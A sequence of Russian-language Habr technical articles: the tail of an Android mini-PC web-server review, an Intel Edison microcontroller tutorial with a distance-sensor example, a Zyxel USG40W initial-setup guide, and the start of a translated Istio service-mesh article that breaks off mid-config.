export PYTHON_EGG_CACHE=$TEMP
export PYTHONHOME=/data/data/com.googlecode.pythonforandroid/files/python
export LD_LIBRARY_PATH=/data/data/com.googlecode.pythonforandroid/files/python/lib
cd $PW
/data/data/com.googlecode.pythonforandroid/files/python/bin/python "$@"
```
Потом mount -oremount,rw /system; cp ./py /system/bin/; chmod 755 /system/bin/py
Все, можно запустить и получить консоль питона:
[](https://picasaweb.google.com/lh/photo/RZbVbNzkwb4FSxDXE_00NaSVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
Или установить в качестве CGI:
cat "\*.py:/system/bin/py" > /sdcard/www/http.cfg
#### ALHPM (Android+lighttpd+PHP+MySQL)
Для андроид есть замечательная программа KSWEB Server, в составе которой есть PHP 5.4.4, MySQL 5.1.62 и Lighttpd 1.4.29(в версии 2.5)
[](https://picasaweb.google.com/lh/photo/OIZQZBDZtNslUU6qRYK3TaSVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
Вот [phpinfo()](http://vvzvlad-reviews.s3.amazonaws.com/WebServerICS/phpinfo.htm) с запущенного сервера, если кому интересно.
Она платная, но думаю, найти 3$ не составит труда.
Собственно, мы получаем полноценный веб-сервер, на который, например, можно поставить ModX(да, я специально поставил ModX на MiniX :)
[](https://picasaweb.google.com/lh/photo/tblhW73mrG4xdnZNt1G5GqSVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
И который действительно будет работать:
[](https://picasaweb.google.com/lh/photo/OJRqYan3Jr7PSuPXLiHKXaSVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
Вот [офсайт](http://www.kswebserver.ru) сервера.
#### kWS Android Web Server
Еще есть вот такой сервер, в [бесплатной](https://play.google.com/store/apps/details?id=org.xeustechnologies.android.kws) и [платной](https://play.google.com/store/apps/details?id=org.xeustechnologies.android.kwspro) версиях.
[](https://picasaweb.google.com/lh/photo/b3OQ0qLsoijKFF3sj9vtOqSVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
Умеет SSI(из которого можно вызывать CGI в том числе), Dynamic DNS(от no-ip.com и dyndns.com), SSL, шифрование. Не умеет PHP и MySQL.
[](https://picasaweb.google.com/lh/photo/8h7-Q8mae_j_nddXqVMIF6SVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
#### IP Webcam
Замечательная бесплатная программа, которую можно взять [тут](https://play.google.com/store/apps/details?id=com.pas.webcam).
Позволяет сделать из любого Android-устройства IP-вебкамеру. Настроек — куча.
[](https://picasaweb.google.com/lh/photo/IblmSQO0uuNiaaO-II7BaqSVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite) [](https://picasaweb.google.com/lh/photo/Wy-oKtQsQxv3vUpY7hPqJ6SVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
Выглядит так:
[](https://picasaweb.google.com/lh/photo/i9piNsMdjhet7XGdqe9hNKSVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
Особенно актуально как раз для миникса. Подключаем веб-камеру, устанавливаем программу, настраиваем запуск при загрузке. Красота.
#### Dynamic DNS
А как быть, если хочется получить еще и доступ из внешнего мира? Если у вашего провайдера есть внешний реальный IP (хоть и динамический), то множество сервисов, предоставляющих динамический ДНС спасут ~~отца русской демократии~~.
Клиентов — на все вкусы. [Универсальный](https://play.google.com/store/apps/details?id=org.l6n.dyndns&feature=search_result), [официальный dyndns](https://play.google.com/store/apps/details?id=com.dyndns&feature=search_result), [универсальный платный](https://play.google.com/store/apps/details?id=com.icecoldapps.dynamicdnsupdatepro) и еще кучка. У kWS клиент встроенный.
А подписаться, чтоб не пропустить новые обзоры можно [на странице компании](http://habrahabr.ru/company/boxowerview/) и [в моем профиле](http://habrahabr.ru/users/vvzvlad/)(кнопка «подписаться») | https://habr.com/ru/post/149482/ | null | ru | null |
# Используем встроенный микроконтроллер в Intel Edison
Думаю, что многие из вас уже знакомы с [Intel Edison](https://software.intel.com/ru-ru/iot/hardware/edison) по предыдущим заметкам, и у некоторых после прочтения спецификации, вероятно, возникал вопрос — а что это за второй загадочный процессор MCU, работающий на частоте 100 МГц? Зачем он нужен? Как его использовать?
Между тем роль MCU в некоторых случаях исключительно важна. Те, кто пробовал применять Edison для работы с различными сенсорами, возможно, уже заметили — Intel Edison не обеспечивает real-time отклика на их показания при работе из Linux. И тут на помощь приходит MCU. Пришло время немного рассказать про этот встроенный микроконтроллер, его архитектуру, области применения и рассмотреть практический пример.
В [программное обеспечение](https://software.intel.com/en-us/iot/hardware/edison/downloads) для Intel Edison начиная с версии 2.1 добавлена возможность использования встроенного микроконтроллера.
Рассмотрим систему на чипе, используемую в Intel Edison Compute Module:
Система на чипе, используемая в Intel Edison Compute Module включает в себя два процессора:
1. Двухъядерный процессор Intel Atom, работающий на частоте 500 МГц. Обозначен как Host CPU.
2. Микроконтроллер с архитектурой Minute IA, работающий на частоте 100 МГц. Обозначен как MCU.
Рассмотрим микроконтроллер детальнее. Вычислительное ядро Minute IA представляет собой энергоэффективную архитектуру, основанную на 486 с добавлением команд для совместимости с Pentium. Помимо вычислительного ядра, микроконтроллер содержит подсистему ввода-вывода (GPIO, I2C, High Speed UART, DMA) и SRAM. Микроконтроллер имеет доступ ко всем портам GPIO в Edison Compute Module. Суммарный объем SRAM для кода и данных 192 кб. На микроконтроллере запущена операционная система реального времени Viper OS от компании WindRiver.
Приложение для микроконтроллера работает поверх ядра Viper и управляет периферией, подключенной к MCU, независимо от процессора Intel Atom. Например, оно может управлять GPIO портами, взаимодействовать с сенсорами по протоколу I2C или UART, и обмениваться данными с процессором Intel Atom.
Зачем нужен микроконтроллер в Intel Edison?
-------------------------------------------
Я бы выделил две области, где можно применить встроенный микроконтроллер:
1. Работа с портами ввода/вывода и интерфейсами с real-time откликом.
2. Энергоэффективность.
Процессор Intel Atom и стандартный дистрибутив Yocto Linux не позволяют «из коробки» реализовать приложения с real-time откликом. Приложение может быть вытеснено планировщиком задач, что приведет к недопустимой и непрогнозируемой задержке. На микроконтроллере запущено единственное приложение и real-time операционная система, поэтому обеспечить real-time отклик возможно. Это требуется для работы со многими датчиками, где протокол взаимодействия зависит от строгого соблюдения коротких временных интервалов. Для их подключения без встроенного микроконтроллера пришлось бы использовать отдельный микроконтроллер, на котором реализовать всю функциональность по работе с такими датчиками. В качестве примера решения для Intel Edison с внешним микроконтроллером можно привести плату расширения [SparkFun Block for Intel Edison — Arduino](https://www.sparkfun.com/products/13036).
Повысить энергоэффективность с помощью микроконтроллера можно в тех приложениях, где основной процессор может находиться в состоянии сна, а микроконтроллер ожидать определенного события (например, превышения пороговых значений с сенсора).
При необходимости микроконтроллер пробуждает основной процессор. Пример реализации приведен в статье [Using the MCU SDK and API: Code examples](https://software.intel.com/en-us/node/557354#Waking_up_the_host_CPU_using_the_MCU).
В качестве примера работы с микроконтроллером Intel Edison рассмотрим подключение ультразвукового датчика расстояния HC-SR04. Измеренное расстояние будем выводить на символьный экран Grove LCD RGB Backlight.
Ультразвуковой датчик расстояния HC-SR04
----------------------------------------
Датчик имеет 4 вывода:
* **Vcc** — 5V.
* **Trig** — сигнал Trigger к датчику. Микроконтроллер подает 10 микросекундный импульс датчику. Датчик инициирует процесс замера.
* **Echo** — сигнал Echo от датчика к микроконтроллеру. Длительность импульса пропорциональна измеренной дистанции.
* **Gnd** — Земля.
Вот как выглядит процесс работы с датчиком на экране осциллографа:
* **1 канал** — Trig
* **2 канал** — Echo
Микроконтроллер подает импульс на **Trig**. После этого датчик отвечает импульсом на **Echo**.
Длительность импульса пропорциональна измеренному расстоянию.
Измеренное расстояние вычисляется по формуле (взята из спецификации на датчик):
```
дистанция(см) = длительность импульса Echo (микросекунды) / 58
```
По спецификации датчик может замерять расстояния от 2 до 400 см.
Измерить длительность импульса с прогнозируемой погрешностью без real-time будет проблематично.
Процесс замера может быть, например, вытеснен планировщиком и результат измерения будет неверным.
Подключаем HC-SR04 к микроконтроллеру Intel Edison
--------------------------------------------------
Используемые компоненты:
* Edison Compute Module
* Edison Arduino Board
* Grove Basic Shield
* Символьный экран Grove LCD RGB Backlight
* Ультразвуковой датчик расстояния HC-SR04
* Макетная плата
Первым делом [подключаем](https://software.intel.com/en-us/assembling-intel-edison-board-with-arduino-expansion-board) Edison Compute Module к Edison Arduino board. Затем подключаем плату расширения Grove Basic Shield к Edison Arduino Board. Grove LCD RGB Backlight подключается к I2C разъему на Grove Basic Shield.
Ультразвуковой датчик расстояния HC-SR04 подключается к Grove Basic Shield следующим образом:
* **Vcc** к +5V.
* **Trig** к пину #3.
* **Echo** к пину #4.
* **Gnd** к Gnd.
Пины 3, 4 выбраны случайным образом, вместо них можно использовать другие.
Обновление прошивки Intel Edison
--------------------------------
Поддержка микроконтроллера доступна в Intel Edison® Board Firmware Software Release начиная с версии 2.1. Если у вас прошивка старее, то её нужно обновить.
Узнать текущую версию прошивки можно командой:
```
# configure_edison --version
```
Данный пример создавался на прошивке версии 146.
Процесс обновления прошивки подробно описан в статье [Flashing Intel Edison](http://www.intel.com/support/edison/sb/CS-035280.htm). Лично я обычно пользуюсь способом, описанным в разделе **Alternate Flashing Method**.
*Внимательно прочитайте инструкцию перед прошивкой.*
Подключаем Intel Edison через Ethernet-over-USB
-----------------------------------------------
Для работы с Edison из среды MCU SDK нужно создать сетевое подключение.
Для этого нужно, например, подключить USB кабель к среднему micro-USB порту (переключатель должен быть установлен в сторону micro-USB портов).
В Linux сеть настраивается командой:
```
# ifconfig usb0 192.168.2.2
```
IP-адрес Intel Edison: `192.168.2.15`
Более подробно процесс подключения описывается в статье [Connecting to your Intel® Edison board using Ethernet over USB](https://software.intel.com/en-us/connecting-to-intel-edison-board-using-ethernet-over-usb).
MCU SDK
-------
Для создания приложений, которые будут выполняться на встроенном микроконтроллере, выпущена кроссплатформенная среда разработки [MCU SDK](https://software.intel.com/en-us/node/545143), основанная на Eclipse. Процесс установки подробно рассмотрен в статье [Installing the MCU SDK](https://software.intel.com/en-us/node/545143).
MCU SDK позволяет создавать, компилировать, загружать на плату и отлаживать приложения для микроконтроллера.
### Взаимодействие с MCU
Чтобы взаимодействовать с микроконтроллером из Linux доступны несколько интерфейсов:
`/dev/ttymcu0` — Канал для обмена данными. Из Linux можно работать с помощью стандартных файловых операций. Из программы на микроконтроллере обмен производится с помощью функций `host_send` и `host_receive`.
`/dev/ttymcu1` — Канал, по которому микроконтроллер отправляет отладочные сообщения функцией `debug_print`.
`/sys/devices/platform/intel_mcu/log_level` — Позволяет установить уровень отладочных сообщений (fatal, error, warning, info, debug).
### Работа с портами Edison Arduino Board
Микроконтроллер встроен в Edison Compute Module и управляет портами ввода-вывода, размещенными на 70-выводном разъеме модуля.
Если необходимо использовать микроконтроллер c Edison Arduino Board, то нужно найти соответствие GPIO порта в Edison Compute Module номеру порта в Edison Arduino Board.
Затем нужно сконфигурировать мультиплексирование и установить направление в преобразователе логических уровней.
При работе с портами на Linux-уровне все эти действия выполняет библиотека [MRAA](https://github.com/intel-iot-devkit/mraa). В случае с микроконтроллером об этом необходимо позаботиться самостоятельно с помощью [скриптов](https://software.intel.com/en-us/node/557356) (init\_DIG.sh, init\_i2c8.sh, init\_mcu\_PWM.sh, set\_DIG.sh, read\_DIG.sh, init\_UART1.sh). Более подробная информация приведена в [Intel® Edison Kit for Arduino\* Hardware Guide](http://www.intel.com/support/edison/sb/CS-035275.htm) (таблица 4).
### Программа для Linux
Небольшой скрипт на Python, который будет получать данные от встроенного микроконтроллера и выводить их на символьный дисплей. Для работы с символьным дисплеем воспользуемся модулем [Jhd1313m1](http://iotdk.intel.com/docs/master/upm/classupm_1_1_jhd1313m1.html) из библиотеки [UPM](https://github.com/intel-iot-devkit/upm).
**Скрипт show\_distance.py:**
```
import time
import pyupm_i2clcd
RET_ERROR = -1
if __name__ == '__main__':
lcd = pyupm_i2clcd.Jhd1313m1(6, 0x3E, 0x62)
with open('/dev/ttymcu0', 'w+t') as f:
while True:
f.write('get_distance\n') # Send command to MCU
f.flush()
line = f.readline() # Read response from MCU, -1 = ERROR
value = int(line.strip('\n\r\t '))
lcd.clear()
if value == RET_ERROR:
lcd.setColor(255, 0, 0) # RED
lcd.write('ERROR')
else:
lcd.setColor(0, 255, 0) # GREEN
lcd.write('%d cm' % (value,))
time.sleep(1)
```
### Программа для микроконтроллера
Программа на микроконтроллере должна при получении от хоста команды get\_distance произвести измерение дистанции и отправить результат на хост (дистанция в сантиметрах, либо -1 в случае ошибки).
Настраиваем порты на Edison Arduino Board:
```
./init_DIG.sh -o 3 -d output
./init_DIG.sh -o 4 -d input
```
Напомню, что микроконтроллер работает с GPIO портами на Edison Compute Module, которые отличаются от нумерации на Edison Arduino Board. Таблица соответствия приведена, например, в конце статьи [Blinking an LED using the MCU](https://software.intel.com/en-us/node/545145).
**Программа для микроконтроллера в MCU SDK:**
```
#include "mcu_api.h"
#include "mcu_errno.h"
// Arduino Extension PIN = 3
#define TRIG 12
// Arduino Extension PIN = 4
#define ECHO 129
// From HC-SR04 datasheet
#define MIN_DISTANCE 2
#define MAX_DISTANCE 400
#define MAX_WAIT 10000
#define RET_ERROR -1
int get_distance() {
// Send Trig signal to HC-SR04
gpio_write(TRIG, 1);
mcu_delay(10);
gpio_write(TRIG, 0);
// Read Echo signal from HC-SR04
int i;
i = 0;
while ((gpio_read(ECHO) == 0) && (i < MAX_WAIT)) {
mcu_delay(1);
i++;
}
unsigned long t0 = time_us();
if (gpio_read(ECHO) == 0 || i == MAX_WAIT) {
return RET_ERROR;
}
i = 0;
while ((gpio_read(ECHO) == 1) && (i < MAX_WAIT)) {
mcu_delay(1);
i++;
}
unsigned long t1 = time_us();
if (gpio_read(ECHO) == 1 || i == MAX_WAIT) {
return RET_ERROR;
}
unsigned long distance = (t1 - t0) / 58;
if (MIN_DISTANCE < distance && distance < MAX_DISTANCE) {
return distance;
} else {
return RET_ERROR;
}
}
#define MAX_BUF 255
unsigned char buf[MAX_BUF];
void mcu_main() {
// Setup Trig as OUTPUT
gpio_setup(TRIG, 1);
// Initially set Trig to LOW
gpio_write(TRIG, 0);
// Setup Echo as INPUT
gpio_setup(ECHO, 0);
while (1) {
unsigned int len;
len = host_receive(buf, MAX_BUF);
if ((len >= 12) && (strncmp(buf, "get_distance", 12) == 0)) {
unsigned int distance;
distance = get_distance();
len = mcu_snprintf(buf, MAX_BUF, "%d\n", distance);
host_send(buf, len);
}
}
}
```
### Добавляем скрипт в автозапуск
Создаем файл, который будет запускать наш скрипт:
**Файл /home/root/startup.sh**
```
#!/bin/bash
cd /home/root
# configure PIN3 as GPIO OUPUT (TRIG signal)
./init_DIG.sh -o 3 -d output
# configure PIN4 as GPIO INPUT (ECHO signal)
./init_DIG.sh -o 4 -d input
python show_distance.py
```
Помечаем скрипты как исполняемые:
```
# chmod a+x /home/root/startup.sh
# chmod a+x /home/root/init_DIG.sh
```
Так как Yocto Linux использует systemd, то для добавления скрипта в автозапуск нужно создать файл так называемого «сервиса».
**Создаем файл /lib/systemd/system/startup-script.service**[Unit]
Description=Startup User Script
After=syslog.target
[Service]
ExecStart=/home/root/startup.sh
[Install]
WantedBy=multi-user.target
Добавляем скрипт в автозапуск:
```
# systemctl enable startup-script
```
После перезагрузки на символьном дисплее должна отобразиться измеренная дистанция:
Использованные ресурсы
----------------------
* [Intel Edison Board Software Downloads](https://software.intel.com/en-us/iot/hardware/edison/downloads)
* [SparkFun Block for Intel Edison — Arduino](https://www.sparkfun.com/products/13036)
* [Using the MCU SDK and API: Code examples](https://software.intel.com/en-us/node/557354#Waking_up_the_host_CPU_using_the_MCU)
* [Assembling the Intel® Edison board with the Arduino expansion board](https://software.intel.com/en-us/assembling-intel-edison-board-with-arduino-expansion-board)
* [Flashing Intel Edison](http://www.intel.com/support/edison/sb/CS-035280.htm)
* [Connecting to your Intel® Edison board using Ethernet over USB](https://software.intel.com/en-us/connecting-to-intel-edison-board-using-ethernet-over-usb)
* [MCU SDK](https://software.intel.com/en-us/node/545143)
* [Installing the MCU SDK](https://software.intel.com/en-us/node/545143)
* [MRAA library](https://github.com/intel-iot-devkit/mraa)
* [Intel Edison Kit for Arduino Hardware Guide](http://www.intel.com/support/edison/sb/CS-035275.htm)
* [Sample scripts for the MCU SDK](https://software.intel.com/en-us/node/557356)
* [UPM library](https://github.com/intel-iot-devkit/upm)
* [UPM: Jhd1313m1 module](http://iotdk.intel.com/docs/master/upm/classupm_1_1_jhd1313m1.html)
* [Blinking an LED using the MCU](https://software.intel.com/en-us/node/545145) | https://habr.com/ru/post/260471/ | null | ru | null |
# Построение расширенной системы антивирусной защиты небольшого предприятия. Часть 2. Антивирусный шлюз USG40W от Zyxel
Данная публикация посвящена линейке продуктов Zyxel USG40/USG40W/USG60/USG60W и является продолжением серии статей «[Построение расширенной системы антивирусной защиты небольшого предприятия](https://habr.com/company/zyxel/blog/352734/).»
### Предисловие
Вкратце о чём речь шла в первой части и какие вопросы при этом могли возникнуть.
Одноступенчатая защита в виде корпоративного антивируса с агентами на серверах и рабочих станциях далеко не всегда эффективна. Это можно сравнить с постмодерацией на форуме, когда модератор реагирует на сообщение, которое уже появилось и успело вызвать определённый эффект.
Чтобы усилить защиту, необходимо отсекать большую часть вредоносных программ (вирусов, троянов и т. д.) ещё на дальних рубежах, до проникновения за периметр сети. В принципе, это аналогичный антивирус, но который срабатывает не «под носом у пользователя», а гораздо раньше, например, на границе демилитаризованной зоны.
Для таких задач неплохо подходит вариант с использованием программно-аппаратного комплекса. Во-первых, такое решение менее уязвимо, во-вторых, специализированные устройства не требуют мощного аппаратного обеспечения, потребляют меньше электроэнергии и в целом более экономичны.
Надо понимать, что возможности оборудования не безграничны, поэтому антивирусное ПО должно быть адаптировано для подобных вариантов использования.
В то же время это должно быть достаточно эффективное, хорошо зарекомендовавшее себя решение от известного производителя, которому можно доверять.
В рассматриваемых нами защитных шлюзах используется антивирусный продукт Safe Stream II «Лаборатории Касперского». Это потоковый антивирус, адаптированный для применения на специализированных устройствах. Поэтому он не включает некоторыми функции, например, карантин и глубокий эвристический анализ. Safe Stream — это достаточно надёжная «первая линия обороны» от хорошо зарекомендовавшего себя производителя антивирусного ПО, блокирующая многие досадные вирусы, трояны, черви.
Также в состав вооружения входят модули антиспама и контентной фильтрации от [Cyren Technology](https://www.cyren.com/).
***ПРИМЕЧАНИЕ**. В рамках небольшой публикации невозможно охватить весь спектр решений, связанных с понятием информационной безопасности и защиты от вредоносного кода. Данный цикл статей первому знакомству с продуктами USG40/USG40W/ USG60/USG60W. Полное описание возможностей данных устройств можно найти [здесь](https://www.zyxel.com/ru/ru/products_services/Unified-Security-Gateway-USG40-40W-60-60W/).*
### Начальная настройка и USG40W/USG60W
Ниже приводится описание процедуры настройки и установки устройства USG40W. Данная информация также справедлива и для остальных позиций из той же линейки: USG40, USG60 и USG60W.
**Сброс к заводским настройкам**
Строго говоря, эта процедура не является обязательной.
Но иногда перед установкой «на новое постоянное место жительство» имеет смысл вернуться к настройкам по умолчанию и начать эксплуатацию с чистого листа.
**Что происходит при возврате к заводским настройкам?**
При изменении настроек в процессе эксплуатации, новая конфигурация устройства сохраняется в файле `startup-config.conf`.
Настройки по умолчанию хранятся в файле `sytem-default.conf`
Во время процедуры возврата к заводским установкам файл `startup-config.conf` переписывается резервным `sytem-default.conf`, и таким образом восстанавливаются настройки по умолчанию.
**Пошаговое описание процедуры сброса к заводским настройкам:**
**1.** Включите устройство и дождитесь полной загрузки. Сигнал готовности — прекращение мигания индикатора SYS. Убедитесь, что светодиодный индикатор SYS горит постоянно.
*Рисунок 1. Вид USG40W спереди. Красной окружностью выделен индикатор SYS.*
**2.** Нажмите кнопку RESET и удерживайте её пока индикатор SYS снова не начнёт моргать (обычно это занимает около 5 секунд).
*Рисунок 2. Вид USG40W сзади. Красной окружностью выделена кнопка RESET.*
Отпустите кнопку RESET и дождитесь перезагрузки устройства. Во время выполнения процедуры возврата к заводским настройкам перезагрузка может занять несколько минут.
При сбросе к заводским параметрам восстанавливаются следующие значения:
* IP-адрес: 192.168.1.1
* Маска подсети: 255.255.255.0
* Логин по умолчанию: admin
* Пароль: 1234
### Подключение через SSH
Сразу после сброса настроек можно подключиться к устройству посредством SSH-соединения и получить возможность управления через интерфейс командной строки.
Принципы, заложенные в командный интерфейс данного устройства во многом напоминают Cisco IOS, что позволяет быстро освоиться в соответствующем окружении.
Например, команда перехода в привилегированный режим — enable, инверсия параметра через префикс «no», а также знаменитая подсказка в виде вопроса «?» соответствуют общепринятым стандартам (или предпочтениям).
### Настройка параметров подключения через web-интерфейс
Адрес для подключения к web интерфейсу по умолчанию — 192.168.1.1
*Рисунок 3. Окно логина в web-интерфейс Zyxel USG40W.*
В некоторых случаях приходится выполнить дополнительную настройку алгоритмов безопасности, в частности, RC4 для HTTPS-подключений.
Дело в том, что популярные браузеры не используют алгоритмы безопасности RC4 и DES для HTTPS-подключений. Например, так обстоит дело в Google Chrome, начиная с версии 48.
Сигналом к такой несовместимости будет сообщение как на рисунке 4 (или аналогичное):
*Рисунок 4. Сообщение о недоступности web-интерфейса из-за алгоритма шифрования.*
Чтобы получить возможность входа, нужно отключить старые методы шифрования RC4 и DES.
Тогда по умолчанию будет использован метод шифрования AES, и подключение через web-интерфейс станет доступно для всех типов браузеров, поддерживающих данный алгоритм.
***Примечание.** Для подключение по SSH из UNIX-подобных операционных систем (в том числе и MAC OS X) можно использовать команду «ssh». Для операционных систем семейства MS Windows рекомендуется использовать программу «PUTTY».*
После подключения к оболочке командной строки появится стандартный диалог ввода имени пользователя и пароля.
Далее после получения приглашения вводим команду перехода в привилегированный режим:
```
Router> enable
```
Обратите внимание, что так же как и Cisco IOS при переходе в привилегированный режим значок приглашения “>” сменился на “#”.
Переходим в режим конфигурации:
```
Router# configure terminal
```
***Примечание.** При успешном входе в данный режим системы добавляется слово «config» к приглашению.*
Вводим команды запрета старых методов шифрования RC4 и DES:
```
Router(config)# no ip http secure-server cipher-suite rc4
Router(config)# no ip http secure-server cipher-suite des
```
Запись изменений:
```
Router(config)# write
```
Выходим из интерфейса:
```
Router(config)# exit
Router# exit
```
*Рисунок 5. Отключение старых методов шифрования RC4 и DES в CLI.*
***Примечание**. Как видно из примера, при на работе с устройствами от Zyxel для специалистов, прошедших подготовку на оборудовании других вендоров, не должно возникнуть особенных трудностей.*
Теперь, установив исключение, можно выполнить вход на web-интерфейс.
*Рисунок 6. Окно браузера после установки правильного метода шифрования.*
Далее всё более или менее стандартно: нажимаем «Показать подробности» и появится «Перейти на сайт 192.168.1.1 (небезопасно)». В некоторых случаях, например, для семейства Windows, будет предложено принять и установить соответствующий сертификат.
Для первого входа необходимо ввести логин и пароль по умолчанию.
Сразу после самой первой аутентификации пользователя попросят сменить пароль.
### Знакомство с основными режимами работы web-интерфейса
С целью упростить первоначальное вхождение в работу с новым оборудованием, в web-интерфейс Zyxel USG40/USG40W/ USG60/USG60W встроено два основных режима:
* Простой режим — предназначен для быстрой конфигурации основных модулей;
* Режим опытного пользователя — для выполнения тонких настроек и полного контроля над устройством.
*Рисунок 7. Простой режим управления.*
*Рисунок 8. Режим опытного пользователя.*
Переключение между режимами возможно в любой момент времени.
В Простом режиме — достаточно нажать на кнопку «Режим опытный пользователь» в правом верхнем углу экрана.
В режиме «Опытный пользователь» — нужно выбрать пункт меню «Простой режим» в правом верхнем углу экрана.
При переключении открывается диалоговое окно, предлагающее сохранить сделанный выбор для следующих сеансов.
*Рисунок 9 Окно сохранения режима работы.*
### Обновление Firmware
Хорошей практикой перед началом настройки будет обновить устройство на самую свежую прошивку.
Для этого переходим в раздел «Обслуживание» — подраздел «Файловый менеджер» и выбираем вкладку. «Управление микропрограммой».
*Рисунок 10. Управление микропрограммой.*
Для поиска новых обновлений достаточно кликнуть начать на элемент «Проверить сейчас». Если обновление доступно, будет отображаться номер версии, больший чем указан.
После «Проверить сейчас» нужно нажать на значок облака справа от раздела Standby (можно и Running, только в этом случае после скачивания прошивки сразу пойдёт обновление).
*Рисунок 11. Окно обновления через Интернет.*
Далее появится окно с запросом подтверждения перезагрузки устройства.
Если выбрать «Да», то микропрограмма после завершения копирования сразу начнёт устанавливаться, если «Нет» — она просто скачается и её можно установить позже, зайдя в нужный раздел и нажав кнопку «Перезагрузка».
### Вместо заключения. О специализированных курсах и первых шагах
Современный интерфейс управления Zyxel позволяет выполнить множество простых операций без предварительной подготовки.
В то же время существуют и [специализированные курсы](https://www.zyxel.com/ru/ru/form/training_012018.shtml).
Стоит отметить, что получение расширенных знаний по вопросу, с которым приходится работать — дело очень хорошее и рано или поздно возникает необходимость в таком обучении.
Однако, чтобы освоить работу с оборудованием Zyxel — не обязательно становится именно сетевым инженером. Системный администратор общего профиля, в одиночку выполняющий работу по обслуживания ИТ-инфраструктуры может самостоятельно справиться со многими аспектами настройки подобных устройств. Доступное управление и хорошая документация позволяет решить множество вопросов без углублённого погружения в нюансы интерфейса командной строки. Можно сразу выполнить первоначальные настройки в Простом режиме управления, а уже по мере освоения достигнуть максимального уровня адаптации к ИТ-инфраструктуре.
### Источники
1. Построение расширенной системы антивирусной защиты небольшого предприятия. [Часть 1](https://habrahabr.ru/company/zyxel/blog/352734/). Выбор стратегии и решения.
2. [Страничка продукта Kaspersky SafeStream II](https://www.kaspersky.ru/safestream2)
3. [Сайт Cyren Technology](https://www.cyren.com/) (антиспам и контентная фильтрация)
4. [Раздел об унифицированных продуктах безопасности следующего поколения USG40/USG40W/ USG60/USG60W](https://www.zyxel.com/ru/ru/products_services/Unified-Security-Gateway-USG40-40W-60-60W/)
5. [Информация о специализированных курсах Zyxel](https://www.zyxel.com/ru/ru/form/training_012018.shtml) | https://habr.com/ru/post/358612/ | null | ru | null |
# Service mesh для микросервисов. Часть III. Более глубокий взгляд на Istio
*Перевод статьи подготовлен специально для студентов курса [«Инфраструктурная платформа на основе Kubernetes»](https://otus.pw/IRoX/).*
---
Это третья статья из серии публикаций, посвященных Kubernetes и технологии service mesh (также известной как «сеть микросервисов» и «mesh-сеть микросервисов»). В [предыдущей статье](https://habr.com/ru/company/otus/blog/477434/) мы изучили основы работы с Istio и выяснили, как этот инструмент помогает настраивать и администрировать сложные облачные архитектуры. Так, с его помощью можно сконфигурировать mesh-сеть микросервисов и получить некоторые возможности централизации в распределенной микросервисной среде. Сегодня мы более подробно изучим функции Istio, чтобы по достоинству оценить преимущества технологии service mesh.
*Istio* — мощный, но достаточно сложный инструмент. Построить масштабируемую mesh-сеть микросервисов, способную выдерживать серьезные нагрузки, может быть непросто. Надеемся, после прочтения этой статьи вы будете лучше понимать, в чем заключается сложность mesh-сетей и какие средства помогают грамотно их конфигурировать. Хотя в большинстве случаев вам не придется вручную настраивать sidecar-прокси или настраивать сетевые взаимодействия, научившись выполнять эти действия, вы поймете, как функционирует service mesh. Это очень непростая тема. Чем глубже вы знаете возможности инструментов, тем лучше.
Поэтому сегодня мы подробно изучим четыре основных компонента Istio и их функции: управление трафиком (Envoy), плоскость управления (Pilot), компонент телеметрии (Mixer) и компонент безопасности (Citadel). Мы последовательно рассмотрим каждый из них и их роль в mesh-сети микросервисов.
### Envoy
Вероятно, вы уже читали о sidecar-прокси в нашей [последней публикации об Istio](https://habr.com/ru/company/otus/blog/477434/) и знаете, что они добавляются к каждому определению сервиса и развертываются в одном поде с самим сервисом. Для нас термины Envoy и sidecar — фактически синонимы, хотя sidecar-прокси могут работать с различными подключаемыми модулями.
Sidecar-прокси [работают](https://istio.io/docs/concepts/what-is-istio/#envoy) как основные сетевые шлюзы для трафика конкретных сервисов, определенных вами: прокси принимает входящий трафик, направленный тому или иному сервису, и маршрутизирует его в соответствии с правилами и политиками, заданными в общей конфигурации.
Sidecar-прокси нужны для обработки данных управления, поступающих из двух источников. Первый из них — пользователь, а точнее, конфигурация, развернутая им в mesh-сети. Информация о ее модификациях, например об изменении параметров балансировки нагрузки, добавлении новых узлов, сервисов и данных сетевой маршрутизации, передается компоненту Pilot, который выступает в качестве основного источника сведений о состоянии приложения. Sidecar-прокси периодически сверяются с Pilot, получают актуальные данные конфигурации и вносят необходимые изменения в локальные правила.
Вторым источником данных управления являются приложения, к которым подключены sidecar-прокси. Envoy выполняет функцию балансировщика нагрузки, постоянно контролируя состояние подключенных к нему экземпляров и направляя запросы для проверки их активности. Компонент отслеживает основные индикаторы, такие как время отклика, и убеждается в том, что запросы обрабатываются. Envoy удаляет плохие экземпляры из пула, чтобы поврежденные развертывания или ошибки серверов не привели к отказу всего сервиса.
Какие еще преимущества дают sidecar-прокси? Помимо встроенных возможностей балансировки нагрузки и проверки состояния экземпляров, они позволяют настраивать трафик так, чтобы можно было получить представление о работе приложения. Так, тестирование новых версий с существенными изменениями кода на этапе разработки не всегда помогает сформировать подробную картину. В таких случаях полезно направить небольшой объем рабочего трафика в экземпляр, выполняющий новый код, чтобы понаблюдать за его поведением в реальных условиях.
Envoy позволяет создавать конфигурации, которые распределяют нагрузку между различными версиями. Например, можно начать с перенаправления всего 5 % трафика новым экземплярам. Как только данные модифицированной конфигурации будут переданы компоненту Pilot, изменится балансировка нагрузки в sidecar-прокси. Первоначально новый сервис будет получать небольшой объем трафика, а вы сможете собирать и обрабатывать экспериментальные данные. Затем можно будет постепенно увеличивать объем с 5 до 100 % и при необходимости уменьшать его, пока вы не будете уверены, что новая версия исправно работает.
### Конфигурирование sidecar-прокси
Как выглядит такая конфигурация на практике? Для перенаправления трафика в различные целевые расположения необходимо задать параметр weight в конфигурации сервиса, например, так:
```
apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
name: helloworld
spec:
hosts:
- hello1
http:
- route:
- destination:
host: hello1
subset: v1
weight: 75
- destination:
host: hello1
subset: v2
weight: 25
---
apiVersion: networking.istio.io/v1alpha3
kind: DestinationRule
metadata:
name: helloworld
spec:
host: hello1
